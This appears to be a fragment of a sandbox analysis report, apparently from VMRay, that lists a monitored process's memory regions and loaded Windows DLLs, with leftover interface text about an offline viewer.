pagefile_0x0000000000370000 0x00370000 0x004f7fff Pagefile Backed Memory Readable True False False
pagefile_0x0000000000500000 0x00500000 0x00680fff Pagefile Backed Memory Readable True False False
pagefile_0x0000000000690000 0x00690000 0x0074ffff Pagefile Backed Memory Readable True False False
pagefile_0x0000000000750000 0x00750000 0x00b42fff Pagefile Backed Memory Readable True False False
private_0x0000000000b50000 0x00b50000 0x00b50fff Private Memory Readable, Writable True False False
private_0x0000000000b60000 0x00b60000 0x00c5ffff Private Memory Readable, Writable True False False
pagefile_0x0000000000c60000 0x00c60000 0x00c60fff Pagefile Backed Memory Readable True False False
private_0x0000000000ca0000 0x00ca0000 0x00d1ffff Private Memory Readable, Writable True False False
private_0x0000000000d50000 0x00d50000 0x00dcffff Private Memory Readable, Writable True False False
private_0x0000000000e30000 0x00e30000 0x00eaffff Private Memory Readable, Writable True False False
private_0x0000000000f70000 0x00f70000 0x00feffff Private Memory Readable, Writable True False False
private_0x0000000001020000 0x01020000 0x0109ffff Private Memory Readable, Writable True False False
sortdefault.nls 0x010b0000 0x0137efff Memory Mapped File Readable False False False
private_0x0000000001470000 0x01470000 0x014effff Private Memory Readable, Writable True False False
kernel32.dll 0x77320000 0x7743efff Memory Mapped File Readable, Writable, Executable False False False
user32.dll 0x77440000 0x77539fff Memory Mapped File Readable, Writable, Executable False False False
ntdll.dll 0x77540000 0x776e8fff Memory Mapped File Readable, Writable, Executable False False False
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
taskeng.exe 0xffe30000 0xffea3fff Memory Mapped File Readable, Writable, Executable False False False
tschannel.dll 0x7fef6130000 0x7fef6138fff Memory Mapped File Readable, Writable, Executable False False False
xmllite.dll 0x7fefb380000 0x7fefb3b4fff Memory Mapped File Readable, Writable, Executable False False False
ktmw32.dll 0x7fefb3c0000 0x7fefb3c9fff Memory Mapped File Readable, Writable, Executable False False False
rsaenh.dll 0x7fefca60000 0x7fefcaa6fff Memory Mapped File Readable, Writable, Executable False False False
cryptsp.dll 0x7fefceb0000 0x7fefcec6fff Memory Mapped File Readable, Writable, Executable False False False
wevtapi.dll 0x7fefcfb0000 0x7fefd01cfff Memory Mapped File Readable, Writable, Executable False False False
sspicli.dll 0x7fefd350000 0x7fefd374fff Memory Mapped File Readable, Writable, Executable False False False
cryptbase.dll 0x7fefd380000 0x7fefd38efff Memory Mapped File Readable, Writable, Executable False False False
rpcrtremote.dll 0x7fefd470000 0x7fefd483fff Memory Mapped File Readable, Writable, Executable False False False
kernelbase.dll 0x7fefd680000 0x7fefd6eafff Memory Mapped File Readable, Writable, Executable False False False
rpcrt4.dll 0x7fefd860000 0x7fefd98cfff Memory Mapped File Readable, Writable, Executable False False False
clbcatq.dll 0x7fefd990000 0x7fefda28fff Memory Mapped File Readable, Writable, Executable False False False
imm32.dll 0x7fefda30000 0x7fefda5dfff Memory Mapped File Readable, Writable, Executable False False False
advapi32.dll 0x7fefdb00000 0x7fefdbdafff Memory Mapped File Readable, Writable, Executable False False False
gdi32.dll 0x7fefdd60000 0x7fefddc6fff Memory Mapped File Readable, Writable, Executable False False False
msctf.dll 0x7fefddd0000 0x7fefded8fff Memory Mapped File Readable, Writable, Executable False False False
usp10.dll 0x7fefdee0000 0x7fefdfa8fff Memory Mapped File Readable, Writable, Executable False False False
msvcrt.dll 0x7fefed40000 0x7fefeddefff Memory Mapped File Readable, Writable, Executable False False False
ole32.dll 0x7fefede0000 0x7fefefe2fff Memory Mapped File Readable, Writable, Executable False False False
shlwapi.dll 0x7feff2b0000 0x7feff320fff Memory Mapped File Readable, Writable, Executable False False False
lpk.dll 0x7feff330000 0x7feff33dfff Memory Mapped File Readable, Writable, Executable False False False
sechost.dll 0x7feff5b0000 0x7feff5cefff Memory Mapped File Readable, Writable, Executable False False False
oleaut32.dll 0x7feff5d0000 0x7feff6a6fff Memory Mapped File Readable, Writable, Executable False False False
apisetschema.dll 0x7feff860000 0x7feff860fff Memory Mapped File Readable, Writable, Executable False False False
pagefile_0x000007fffffb0000 0x7fffffb0000 0x7fffffd2fff Pagefile Backed Memory Readable True False False
private_0x000007fffffd3000 0x7fffffd3000 0x7fffffd4fff Private Memory Readable, Writable True False False
private_0x000007fffffd5000 0x7fffffd5000 0x7fffffd6fff Private Memory Readable, Writable True False False
private_0x000007fffffd7000 0x7fffffd7000 0x7fffffd8fff Private Memory Readable, Writable True False False
private_0x000007fffffd9000 0x7fffffd9000 0x7fffffdafff Private Memory Readable, Writable True False False
private_0x000007fffffdb000 0x7fffffdb000 0x7fffffdcfff Private Memory Readable, Writable True False False
private_0x000007fffffdd000 0x7fffffdd000 0x7fffffdefff Private Memory Readable, Writable True False False
private_0x000007fffffdf000 0x7fffffdf000 0x7fffffdffff Private Memory Readable, Writable True False False
Function Logfile
Exit-Icon

This feature requires an online-connection to the VMRay backend.

An offline version with limited functionality is also provided.
The offline version is supported only in Mozilla Firefox with deactivated setting "security.fileuri.strict_origin_policy".


    
Screenshot
Expand-Icon
Exit-Icon
icon_left
icon_left
image